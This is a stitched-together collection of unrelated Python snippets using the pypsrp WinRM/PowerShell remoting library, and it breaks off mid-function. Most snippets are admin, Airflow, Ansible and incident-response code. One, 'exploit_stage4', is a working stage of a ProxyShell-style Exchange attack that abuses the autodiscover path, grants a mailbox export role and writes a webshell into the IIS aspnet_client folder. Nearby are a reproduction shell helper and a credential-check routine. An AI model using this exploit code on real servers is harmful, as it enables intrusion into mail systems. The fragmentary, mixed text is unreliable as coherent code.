def get_winRS(config): errors = 0 results = [] try: ssl = config['protocol'].split('/')[1] except Exception as e: ssl = "" for member in config['members'].split(','): res = "" try: if ssl: client = WSMan(member, ssl=True, auth="ntlm", cert_validation=False, connection_timeout=3, username=config['user'], password=config['password']) else: client = WSMan(member, ssl=False, auth="ntlm", cert_validation=False, connection_timeout=3, username=config['user'], password=config['password']) with WinRS(client) as shell: process = Process(shell, REMCMD) print(process) stdout, stderr, _rc = process.invoke() if "decode" in dir(stdout): res = stdout.decode() err = stderr.decode() else: res = stdout err = stderr if err: print("get_winRS: {} -> err: {}".format(config, err), file=sys.stderr) errors += 1 except Exception as e: print("get_winRS: Connect to {} failed: {}".format( member, e.args[0]), file=sys.stderr) errors += 1 results.append(res) return errors, config, results
def wsman_conn(request, monkeypatch): test_params = request.param if not isinstance(test_params, list) or len(test_params) != 2: raise Exception( "Cannot run winrm_transport fixture without the allow real and test name set" ) allow_real = test_params[0] test_name = test_params[1] # these need to be set to run against a proper server username = os.environ.get("PYPSRP_USERNAME", None) password = os.environ.get("PYPSRP_PASSWORD", None) server = os.environ.get("PYPSRP_SERVER", None) # these are optional vars that can further control the transport setup auth = os.environ.get("PYPSRP_AUTH", "negotiate") port = int(os.environ.get("PYPSRP_PORT", "5986")) ssl = port != 5985 if allow_real and username is not None and password is not None and server is not None: wsman = WSMan(server, port=port, username=username, password=password, ssl=ssl, auth=auth, cert_validation=False) else: # Mock out UUID's so they are not a problem when comparing messages def mockuuid(): return uuid.UUID("00000000-0000-0000-0000-000000000000") monkeypatch.setattr(uuid, "uuid4", mockuuid) transport = TransportFake(test_name, "fakehost", port, "username", "password", ssl, "wsman", auth) wsman = WSMan("") wsman.transport = transport with wsman: yield wsman # used as an easy way to be results for a test, requires the _test_messages # to be uncommented in pypsrp/wsman.py test_messages = getattr(wsman.transport, "_test_messages", None) if test_messages is not None: yaml_text = yaml.dump({"messages": test_messages}, default_flow_style=False, width=9999) print(yaml_text)
def __enter__(self): conn = self.get_connection(self.conn_id) self.log.info("Establishing WinRM connection %s to host: %s", self.conn_id, conn.host) self._client = WSMan( conn.host, ssl=True, auth="ntlm", encryption="never", username=conn.login, password=conn.password, cert_validation=False, ) self._client.__enter__() return self
async def modify_existing_service(self, hosts, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} for host in hosts: self.logger.info(f"Executing on {host}") results[host] = "" try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) with RunspacePool(wsman) as pool: # This script searches event logs for successful logons, # Logon attmepts, and failed logon attempts script = "Get-ChildItem ‘HKLM:\SYSTEM\CurrentControlSet\Services' -Recurse" ps = PS(pool) ps.add_script(script) ps.invoke() this_result = [] for line in ps.output: this_result.append({ "name": str(line), "adapted_properties": json.loads( json.dumps(line.adapted_properties, cls=ObjectEncoder)), "extended_properties": json.loads( json.dumps(line.extended_properties, cls=ObjectEncoder)) }) if ps.had_errors: results[host] = {"stdout": "", "stderr": this_result} else: results[host] = {"stdout": this_result, "stderr": ""} except Exception as e: results[host] = {"stdout": "", "stderr": f"{e}"} return results
def invoke_script(self, script, expect_json=False): wsman = WSMan(self.host, auth="kerberos", cert_validation=False, ssl=True) with RunspacePool(wsman, configuration_name=self.configuration_name) as pool: ps = PowerShell(pool) ps.add_script(script) ps.invoke() if ps.had_errors: error_messages = [] for i in ps.streams.error: error_messages.append(i.message) raise RuntimeError(error_messages) else: if expect_json: output = [json.loads(x) for x in ps.output] else: output = PSRP_Wrapper._convertto_json_compatible(ps.output) stream_names = [ "debug", "error", "information", "verbose", "warning" ] streams = dict() for i in stream_names: streams[i] = [] for j in getattr(ps.streams, i): streams[i].append(j.message) return {"output": output, "streams": streams}
def exploit_stage4(target, auth_b64, alias_name, subject, fShell): logger.debug("[Stage 4] Dealing with WSMV") wsman = WSMan(server=target, port=443, path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]', ssl="true", cert_validation=False) logger.debug("[Stage 4] Dealing with PSRP") with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: logger.debug("[Stage 4] Assign Management Role") ps = PowerShell(pool) #ps.add_cmdlet("Get-User") ps.add_cmdlet("New-ManagementRoleAssignment") ps.add_parameter("Role", "Mailbox Import Export") ps.add_parameter("SecurityGroup", "Organization Management") output = ps.invoke() with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: logger.debug("[Stage 4] Exporting MailBox as Webshell") ps = PowerShell(pool) ps.add_cmdlet("New-MailboxExportRequest") ps.add_parameter("Mailbox", alias_name) ps.add_parameter("Name", subject) ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject)) ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell) output = ps.invoke() logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell) with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: logger.debug("[Stage 4] Cleaning Notification") ps = PowerShell(pool) ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false") output = ps.invoke()
async def exec_command_prompt(self, hosts, commands, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param commands: array of commands in which you want to run on every host :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} for host in hosts: results[host] = "" try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) with WinRS(wsman) as shell: for command in commands: process = Process(shell, command) process.invoke() results[host] = {"stdout": process.stdout.decode(), "stderr": process.stderr.decode()} process.signal(SignalCode.CTRL_C) except Exception as e: results[host] = {"stdout": "", "stderr": f"{e}"} return results
def shell(command, port): if command.lower() in ['exit', 'quit']: exit(0) wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never') with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_script(command) output = ps.invoke()
async def exec_powershell_script_from_file(self, hosts, shell_type, local_file_name, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param shell_type: The type of shell you wish to run (i.e. "powershell") :param local_file_name: file name to run specified script from :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} curr_dir = os.getcwd() temp_dir = os.path.join(curr_dir, r'scripts') os.chdir(temp_dir) curr_dir = os.getcwd() local_file_path = os.path.join(curr_dir, local_file_name) for host in hosts: self.logger.info(f"Executing on {host}") results[host] = "" try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) with WinRS(wsman) as shell: # for command in commands: script = open(local_file_path, "r").read() process = Process(shell, shell_type, script) process.begin_invoke( ) # start the invocation and return immediately process.poll_invoke() # update the output stream process.end_invoke( ) # finally wait until the process is finished results[host] = { "stdout": process.stdout.decode(), "stderr": process.stderr.decode() } process.signal(SignalCode.CTRL_C) except Exception as e: results[host] = {"stdout": "", "stderr": f"{e}"} return results
def __init__(self, server, **kwargs): """ Creates a client object used to do the following spawn new cmd command/process spawn new PowerShell Runspace Pool/Pipeline copy a file from localhost to the remote Windows host fetch a file from the remote Windows host to localhost This is just an easy to use layer on top of the objects WinRS and RunspacePool/PowerShell. It trades flexibility in favour of simplicity. If your use case needs some of that flexibility you can use these functions as a reference implementation for your own functions. :param server: The server/host to connect to :param kwargs: The various WSMan args to control the transport mechanism, see pypsrp.wsman.WSMan for these args """ self.wsman = WSMan(server, **kwargs)
def __init__(self, dns_svr, user, password, csv_dns_dm): self.dns_svr = dns_svr self.user = user self.password = password self.csv_dns_fw_dm = csv_dns_dm[0] self.csv_dns_rv_dm = csv_dns_dm[1] # WSman connection used to run powershell cmds on windows servers self.wsman_conn = WSMan(self.dns_svr, username=self.user, password=self.password, ssl=False) self.client_conn = Client(self.dns_svr, username=self.user, password=self.password, ssl=False)
async def start_vm(info: VMInfo): """ Invoke command to start virtual machine with given VM ID :param info: VM ID of virtual machine to be started """ with RunspacePool(connection=WSMan(**connection_settings)) as pool: ps = PowerShell(pool) ps.add_script("$server = Get-SCVMMServer -ComputerName localhost" ).add_script("Get-SCVirtualMachine -VMMServer $server |" " ? {$_.VMId -eq \"" + info.vmid + "\" } |" " Start-SCVirtualMachine").begin_invoke()
def main(host, username, password, command): wsman = WSMan(host, username=username, password=password, cert_validation=False) with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_cmdlet(command) ps.invoke() print(ps.output[0])
async def account_manipulation(self, hosts, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param shell_type: The type of shell you wish to run (i.e. "powershell") :param local_file_name: file name to run specified script from :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} for host in hosts: self.logger.info(f"Executing on {host}") results[host] = "" try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) with RunspacePool(wsman) as pool: # This script returns events regarding account objects being changed # as well as account names being changed script = "Get-WinEvent -LogName security | Where-Object {$_.ID -eq 4738 -or $_.ID -eq 4781}" ps = PS(pool) ps.add_script(script) ps.invoke() this_result = [] for line in ps.output: this_result.append({ "name": str(line), "adapted_properties": json.loads(json.dumps(line.adapted_properties, cls=ObjectEncoder)), "extended_properties": json.loads(json.dumps(line.extended_properties, cls=ObjectEncoder)) }) if ps.had_errors: results[host] = {"stdout": "", "stderr": this_result} else: results[host] = {"stdout": this_result, "stderr": ""} except Exception as e: results[host] = {"stdout": "", "stderr": f"{e}"} return results
async def exec_powershell_script_from_file(self, hosts, shell_type, local_file_name, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param shell_type: The type of shell you wish to run (i.e. "powershell") :param local_file_name: file name to run specified script from :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} for host in hosts: self.logger.info(f"Executing on {host}") results[host] = "" try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) with RunspacePool(wsman) as pool: with open(local_file_name, "r") as f: script = f.read() ps = PS(pool) ps.add_script(script) ps.invoke() this_result = [] for line in ps.output: if type(line) is str: this_result.append(line) else: this_result.append({ "types": line.types, "adapted_properties": json.loads(json.dumps(line.adapted_properties, cls=ObjectEncoder)), "extended_properties": json.loads(json.dumps(line.extended_properties, cls=ObjectEncoder)) }) if ps.had_errors: results[host] = {"stdout": "", "stderr": this_result} else: results[host] = {"stdout": this_result, "stderr": ""} except Exception as e: results[host] = {"stdout": "", "stderr": f"{e}"} return results
async def scheduled_tasks(self, hosts, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} for host in hosts: self.logger.info(f"Executing on {host}") results[host] = "" try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) with RunspacePool(wsman) as pool: script = """ wevtutil sl Microsoft-Windows-TaskScheduler/Operational /e:true Get-WinEvent -LogName 'Microsoft-Windows-TaskScheduler/Operational' | Where-Object $_.Id -eq 106 -or ($_.Id -eq 140) -or $_.Id -eq 141 } | Format-Table TimeCreated,Id,LevelDisplayName,Message """ ps = PS(pool) ps.add_script(script) ps.invoke() this_result = [] for line in ps.output: this_result.append({ "name": str(line), "adapted_properties": json.loads(json.dumps(line.adapted_properties, cls=ObjectEncoder)), "extended_properties": json.loads(json.dumps(line.extended_properties, cls=ObjectEncoder)) }) if ps.had_errors: results[host] = {"stdout": "", "stderr": this_result} else: results[host] = {"stdout": this_result, "stderr": ""} except Exception as e: results[host] = {"stdout": "", "stderr": f"{e}"} return results
def shell(command, port): # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ if command.lower() in ['exit', 'quit']: exit() wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never') with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_script(command) output = ps.invoke() print("OUTPUT:\n%s" % "\n".join([str(s) for s in output])) print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
def __init__(self): # self.wsman = WSMan(server="", port=443, path="/powershell/",ssl=True,username="", password="",auth="basic") self.wsman = WSMan(server=getskey()['exserver'], port=80, path="/powershell/", ssl=False, username=getskey()['exdomain'] + "\\" + getskey()['exuser'], password=encrypt_and_decode().decrypted_text( getskey()['expassword']), auth="basic", encryption='never') self.msg, self.message, self.isSuccess, self.code, self.count = str( ), list(), False, 0, 0
async def exec_powershell_script(self, hosts, shell_type, arguments, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param shell_type: The type of shell you wish to run (i.e. "powershell") :param commands: array of commands in which you want to run on every host :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} for host in hosts: self.logger.info(f"Executing on {host}") results[host] = "" try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) with WinRS(wsman) as shell: for arg in arguments: process = Process(shell, shell_type, [arg]) process.begin_invoke( ) # start the invocation and return immediately process.poll_invoke() # update the output stream process.end_invoke( ) # finally wait until the process is finished results[host] = { "stdout": process.stdout.decode(), "stderr": process.stderr.decode() } process.signal(SignalCode.CTRL_C) except Exception as e: results[host] = {"stdout": "", "stderr": f"{e}"} return results
def test_pshost_methods(self): wsman = WSMan("server") runspace = RunspacePool(wsman) host = PSHost(CultureInfo(), CultureInfo(), True, "name", None, None, "1.0") assert host.GetName(None, None) == "name" actual_version = host.GetVersion(runspace, None) assert actual_version.text == "1.0" assert actual_version.tag == "Version" assert isinstance(host.GetInstanceId(None, None), uuid.UUID) assert isinstance(host.GetCurrentCulture(None, None), CultureInfo) assert isinstance(host.GetCurrentUICulture(None, None), CultureInfo) host.NotifyBeginApplication(None, None) host.NotifyEndApplication(None, None)
def exservertest(**kwargs): try: wsman = WSMan(server=kwargs['exip'], port=80, path="/powershell/",ssl=False,username=kwargs['domain'] + "\\" + kwargs['exaccount'] , password=kwargs['expassword'],auth="basic",encryption='never') with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: ps = PowerShell(pool).add_cmdlet('Get-ExchangeServer') output = ps.invoke() if not ps.had_errors and not ps.streams.error: data = {'isSuccess':True} else: data = {'isSuccess':False} # allurl = 'http://'+getskey()['iisserver']+':'+getskey()['iisport']+'//api/ad/testexlink' # u = requests.get(allurl,params=kwargs) # data = u.json() return data except Exception as e: return False
def get_conn(self) -> RunspacePool: """ Returns a runspace pool. The returned object must be used as a context manager. """ conn = self.get_connection(self.conn_id) self.log.info("Establishing WinRM connection %s to host: %s", self.conn_id, conn.host) extra = conn.extra_dejson.copy() def apply_extra(d, keys): d = d.copy() for key in keys: value = extra.pop(key, None) if value is not None: d[key] = value return d wsman_options = apply_extra( self._wsman_options, ( "auth", "cert_validation", "connection_timeout", "locale", "read_timeout", "reconnection_retries", "reconnection_backoff", "ssl", ), ) wsman = WSMan(conn.host, username=conn.login, password=conn.password, **wsman_options) runspace_options = apply_extra(self._runspace_options, ("configuration_name", )) if extra: raise AirflowException( f"Unexpected extra configuration keys: {', '.join(sorted(extra))}" ) pool = RunspacePool(wsman, **runspace_options) self._wsman_ref[pool] = wsman return pool
def _connect(self): if not HAS_PYPSRP: raise AnsibleError("pypsrp or dependencies are not installed: %s" % to_native(PYPSRP_IMP_ERR)) super(Connection, self)._connect() self._build_kwargs() display.vvv("ESTABLISH PSRP CONNECTION FOR USER: %s ON PORT %s TO %s" % (self._psrp_user, self._psrp_port, self._psrp_host), host=self._psrp_host) if not self.runspace: connection = WSMan(**self._psrp_conn_kwargs) # create our pseudo host to capture the exit code and host output host_ui = PSHostUserInterface() self.host = PSHost(None, None, False, "Ansible PSRP Host", None, host_ui, None) self.runspace = RunspacePool( connection, host=self.host, configuration_name=self._psrp_configuration_name ) display.vvvvv( "PSRP OPEN RUNSPACE: auth=%s configuration=%s endpoint=%s" % (self._psrp_auth, self._psrp_configuration_name, connection.transport.endpoint), host=self._psrp_host ) try: self.runspace.open() except AuthenticationError as e: raise AnsibleConnectionFailure("failed to authenticate with " "the server: %s" % to_native(e)) except WinRMError as e: raise AnsibleConnectionFailure( "psrp connection failure during runspace open: %s" % to_native(e) ) except (ConnectionError, ConnectTimeout) as e: raise AnsibleConnectionFailure( "Failed to connect to the host via PSRP: %s" % to_native(e) ) self._connected = True self._last_pipeline = None return self
async def exec_command_prompt_from_file(self, hosts, local_file_name, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param local_file_name: file name to run specified script from :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} for host in hosts: results[host] = "" try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) with WinRS(wsman) as shell: with open(local_file_name, "r") as f: script = f.read() process = Process(shell, script) process.invoke() results[host] = { "stdout": process.stdout.decode(), "stderr": process.stderr.decode() } process.signal(SignalCode.CTRL_C) self.logger.info(f"Done executing on {host}") except Exception as e: results[host] = {"stdout": "", "stderr": f"{e}"} return results
async def list_vms(domain: str, username: str): """ Returns a list of available virtual machines for given user :param domain: NTDOMAIN of the user :param username: username of the user :return: list of dicts with virtual machines data """ domain = domain.upper() username = username.lower() if LIST_SCRIPT is None: return Response(status_code=500, content="Server error: script not found.") with RunspacePool(connection=WSMan(**connection_settings)) as lpool: ps = PowerShell(lpool) ps.add_script( script=LIST_SCRIPT).add_argument(domain).add_argument(username) try: psresult = ps.invoke() except ReadTimeout: return Response(status_code=504, content="SCVMM is not available now.") if len(psresult) == 0 and ps.had_errors: return Response(status_code=500, content="SCVMM-API internal error occured.") if psresult: logging.info( f"Data for {domain}\\{username} returned, length: {len(psresult)}") return [ VM(Name=x.extended_properties.get("Name", "-"), ID=x.extended_properties.get("VMId", "-"), VirtualMachineState=x.extended_properties.get( 'VirtualMachineState', "-"), MostRecentTask=x.extended_properties.get('MostRecentTask', "-"), MostRecentTaskUIState=x.extended_properties.get( 'MostRecentTaskUIState', "-"), VMHost=x.extended_properties.get('VMHost', "-")) for x in psresult ]
def check_creds(host, username, password, domain): has_access = False try: username = '******' % (domain, username) wsman = WSMan(host, username=username, password=password, ssl=False, auth='ntlm') with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_cmdlet('Invoke-Expression')\ .add_parameter('Command', 'whoami') ps.begin_invoke() while ps.output is None or ps.output == '': ps.poll_invoke() ps.end_invoke() if len(ps.output) > 0: has_access = True except: has_access = False return has_access
async def get_procs_n_modules_kansa(self, hosts, username, password, transport, server_cert_validation, message_encryption): """ Execute a list of remote commands on a list of hosts. :param hosts: List of host ips to run command on :param shell_type: The type of shell you wish to rsun (i.e. "powershell") :param local_file_name: file name to run specified script from :param username: username of the machine you wish to run command on :param password: password for the machine you wish to run command on :param transport: method of transportation :param server_cert_validation: whether or not to verify certificates :param message_encryption: When you should encrypt messages :return: dict of results with hosts as keys and list of outputs for each specified hosts """ results = {} for host in hosts: self.logger.info(f"Executing on {host}") results[host] = "" try: wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption, username=username, password=password) results[host] = await self.run_script( wsman, "scripts/Kansa/Modules/Process/Get-ProcsNModules.ps1") except Exception as e: results[host] = {"stdout": "", "stderr": f"{e}"} return results
class PSRPHook(BaseHook): """ Hook for PowerShell Remoting Protocol execution. The hook must be used as a context manager. """ _client = None _poll_interval = 1 def __init__(self, psrp_conn_id: str): self.conn_id = psrp_conn_id def __enter__(self): conn = self.get_connection(self.conn_id) self.log.info("Establishing WinRM connection %s to host: %s", self.conn_id, conn.host) self._client = WSMan( conn.host, ssl=True, auth="ntlm", encryption="never", username=conn.login, password=conn.password, cert_validation=False, ) self._client.__enter__() return self def __exit__(self, exc_type, exc_value, traceback): try: self._client.__exit__(exc_type, exc_value, traceback) finally: self._client = None def invoke_powershell(self, script: str) -> PowerShell: with RunspacePool(self._client) as pool: ps = PowerShell(pool) ps.add_script(script) ps.begin_invoke() streams = [ (ps.output, self._log_output), (ps.streams.debug, self._log_record), (ps.streams.information, self._log_record), (ps.streams.error, self._log_record), ] offsets = [0 for _ in streams] # We're using polling to make sure output and streams are # handled while the process is running. while ps.state == PSInvocationState.RUNNING: sleep(self._poll_interval) ps.poll_invoke() for (i, (stream, handler)) in enumerate(streams): offset = offsets[i] while len(stream) > offset: handler(stream[offset]) offset += 1 offsets[i] = offset # For good measure, we'll make sure the process has # stopped running. ps.end_invoke() if ps.streams.error: raise AirflowException("Process had one or more errors") self.log.info("Invocation state: %s", str(PSInvocationState(ps.state))) return ps def _log_output(self, message: str): self.log.info("%s", message) def _log_record(self, record): # TODO: Consider translating some or all of these records into # normal logging levels, using `log(level, msg, *args)`. if isinstance(record, ErrorRecord): self.log.info("Error: %s", record) return if isinstance(record, InformationRecord): self.log.info("Information: %s", record.message_data) return if isinstance(record, ProgressRecord): self.log.info("Progress: %s (%s)", record.activity, record.description) return self.log.info("Unsupported record type: %s", type(record).__name__)
def arg_check(): if len(sys.argv) < 2: print('Warning: Need to provide ip for windows instance.') sys.exit(1) if __name__ == '__main__': arg_check() server = sys.argv[1] ps = sys.argv[2] # creates a http connection with no encryption and basic auth wsman = WSMan(server, ssl=False, auth="basic", encryption="never", username="******", password="******") with WinRS(wsman) as shell: # execute a process with arguments in the background process = Process(shell, ps) process.begin_invoke() # start the invocation and return immediately process.poll_invoke() # update the output stream process.end_invoke() # finally wait until the process is finished process.signal(SignalCode.CTRL_C) print('stdout', process.stdout) print('stderr', process.stderr) print('rc', process.rc)
class Client(object): def __init__(self, server, **kwargs): """ Creates a client object used to do the following spawn new cmd command/process spawn new PowerShell Runspace Pool/Pipeline copy a file from localhost to the remote Windows host fetch a file from the remote Windows host to localhost This is just an easy to use layer on top of the objects WinRS and RunspacePool/PowerShell. It trades flexibility in favour of simplicity. If your use case needs some of that flexibility you can use these functions as a reference implementation for your own functions. :param server: The server/host to connect to :param kwargs: The various WSMan args to control the transport mechanism, see pypsrp.wsman.WSMan for these args """ self.wsman = WSMan(server, **kwargs) def copy(self, src, dest): """ Copies a single file from the current host to the remote Windows host. This can be quite slow when it comes to large files due to the limitations of WinRM but it is designed to be as fast as it can be. During the copy process, the bytes will be stored in a temporary file before being copied. When copying it will replace the file at dest if one already exists. It also will verify the checksum of the copied file is the same as the actual file locally before copying the file to the path at dest. :param src: The path to the local file :param dest: The path to the destionation file on the Windows host :return: The absolute path of the file on the Windows host """ def read_buffer(b_path, buffer_size): offset = 0 sha1 = hashlib.sha1() with open(b_path, 'rb') as src_file: for data in iter((lambda: src_file.read(buffer_size)), b""): log.debug("Reading data of file at offset=%d with size=%d" % (offset, buffer_size)) offset += len(data) sha1.update(data) b64_data = base64.b64encode(data) + b"\r\n" yield b64_data, False # the file was empty, return empty buffer if offset == 0: yield b"", False # the last input is the actual file hash used to verify the # transfer was ok actual_hash = b"\x00\xffHash: " + to_bytes(sha1.hexdigest()) yield base64.b64encode(actual_hash), True src = os.path.expanduser(os.path.expandvars(src)) b_src = to_bytes(src) src_size = os.path.getsize(b_src) log.info("Copying '%s' to '%s' with a total size of %d" % (src, dest, src_size)) # check if the src size is twice as large as the max payload and fetch # the max size from the server, we only check in this case to save on a # round trip if the file is small enough to fit in 2 msg's, otherwise # we want to get the largest size possible buffer_size = int(self.wsman.max_payload_size / 4 * 3) if src_size > (buffer_size * 2) and \ self.wsman.max_envelope_size == 153600: log.debug("Updating the max WSMan envelope size") self.wsman.update_max_payload_size() buffer_size = int(self.wsman.max_payload_size / 4 * 3) log.info("Creating file reader with a buffer size of %d" % buffer_size) read_gen = read_buffer(b_src, buffer_size) command = u'''begin { $ErrorActionPreference = "Stop" $path = [System.IO.Path]::GetTempFileName() $fd = [System.IO.File]::Create($path) $algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create() $bytes = @() $expected_hash = "" } process { $base64_string = $input $bytes = [System.Convert]::FromBase64String($base64_string) if ($bytes.Count -eq 48 -and $bytes[0] -eq 0 -and $bytes[1] -eq 255) { $hash_bytes = $bytes[-40..-1] $expected_hash = [System.Text.Encoding]::UTF8.GetString($hash_bytes) } else { $algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null $fd.Write($bytes, 0, $bytes.Length) } } end { $output_path = "%s" $dest = New-Object -TypeName System.IO.FileInfo -ArgumentList $output_path $fd.Close() try { $algo.TransformFinalBlock($bytes, 0, 0) > $null $actual_hash = [System.BitConverter]::ToString($algo.Hash) $actual_hash = $actual_hash.Replace("-", "").ToLowerInvariant() if ($actual_hash -ne $expected_hash) { $msg = "Transport failure, hash mistmatch" $msg += "`r`nActual: $actual_hash" $msg += "`r`nExpected: $expected_hash" throw $msg } [System.IO.File]::Copy($path, $output_path, $true) $dest.FullName } finally { [System.IO.File]::Delete($path) } }''' % to_unicode(dest) encoded_command = to_string(base64.b64encode(to_bytes(command, 'utf-16-le'))) with WinRS(self.wsman) as shell: process = Process(shell, "powershell.exe", ["-NoProfile", "-NonInteractive", "-EncodedCommand", encoded_command]) process.begin_invoke() log.info("Starting to send file data to remote process") for input_data, end in read_gen: process.send(input_data, end) log.info("Finished sending file data to remote process") process.end_invoke() stderr = self.sanitise_clixml(process.stderr) if process.rc != 0: raise WinRMError("Failed to copy file: %s" % stderr) output_file = to_unicode(process.stdout).strip() log.info("Completed file transfer of '%s' to '%s'" % (src, output_file)) return output_file def execute_cmd(self, command, encoding='437'): """ Executes a command in a cmd shell and returns the stdout/stderr/rc of that process. This uses the raw WinRS layer and can be used to execute a traditional process. :param command: The command to execute :param encoding: The encoding of the output std buffers, this correlates to the codepage of the host and traditionally en-US is 437. This probably doesn't need to be modified unless you are running a different codepage on your host :return: A tuple of stdout: A unicode string of the stdout stderr: A unicode string of the stderr rc: The return code of the process Both stdout and stderr are returned from the server as a byte string, they are converted to a unicode string based on the encoding variable set """ log.info("Executing cmd process '%s'" % command) with WinRS(self.wsman) as shell: process = Process(shell, command) process.invoke() process.signal(SignalCode.CTRL_C) return to_unicode(process.stdout, encoding), \ to_unicode(process.stderr, encoding), process.rc def execute_ps(self, script): """ Executes a PowerShell script in a PowerShell runspace pool. This uses the PSRP layer and is designed to run a PowerShell script and not a raw executable. Because this runs in a runspace, traditional concepts like stdout, stderr, rc's are no longer relevant. Instead there is a output, error/verbose/debug streams, and a boolean that indicates if the script execution came across an error. If you want the traditional stdout/stderr/rc, use execute_cmd instead. :param script: The PowerShell script to run :return: A tuple of output: A unicode string of the output stream streams: pypsrp.powershell.PSDataStreams containing the other PowerShell streams had_errors: bool that indicates whether the script had errors during execution """ log.info("Executing PowerShell script '%s'" % script) with RunspacePool(self.wsman) as pool: powershell = PowerShell(pool) # so the client executes a powershell script and doesn't need to # deal with complex PS objects, we run the script in # Invoke-Expression and convert the output to a string # if a user wants to get the raw complex objects then they should # use RunspacePool and PowerShell directly powershell.add_cmdlet("Invoke-Expression").add_parameter("Command", script) powershell.add_cmdlet("Out-String").add_parameter("Stream") powershell.invoke() return "\n".join(powershell.output), powershell.streams, \ powershell.had_errors def fetch(self, src, dest): """ Will fetch a single file from the remote Windows host and create a local copy. Like copy(), this can be slow when it comes to fetching large files due to the limitation of WinRM. This method will first store the file in a temporary location before creating or replacing the file at dest if the checksum is correct. :param src: The path to the file on the remote host to fetch :param dest: The path on the localhost host to store the file as """ dest = os.path.expanduser(os.path.expandvars(dest)) log.info("Fetching '%s' to '%s'" % (src, dest)) self.wsman.update_max_payload_size() # Need to output as a base64 string as PS Runspaces will create an # individual byte objects for each byte in a byte array which has way # more overhead than a single base64 string. # I also wanted to output in chunks and have the local side process # the output in parallel for large files but it seems like the base64 # stream is getting sent in one chunk when in a loop so scratch that # idea script = '''$ErrorActionPreference = 'Stop' $algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create() $src = New-Object -TypeName System.IO.FileInfo -ArgumentList '%s' if ("Directory" -in $src.Attributes.ToString()) { throw "The path at '$($src.FullName)' is a directory, src must be a file" } elseif (-not $src.Exists) { throw "The path at '$($src.FullName)' does not exist" } $buffer_size = 4096 $offset = 0 $fs = $src.OpenRead() $total_bytes 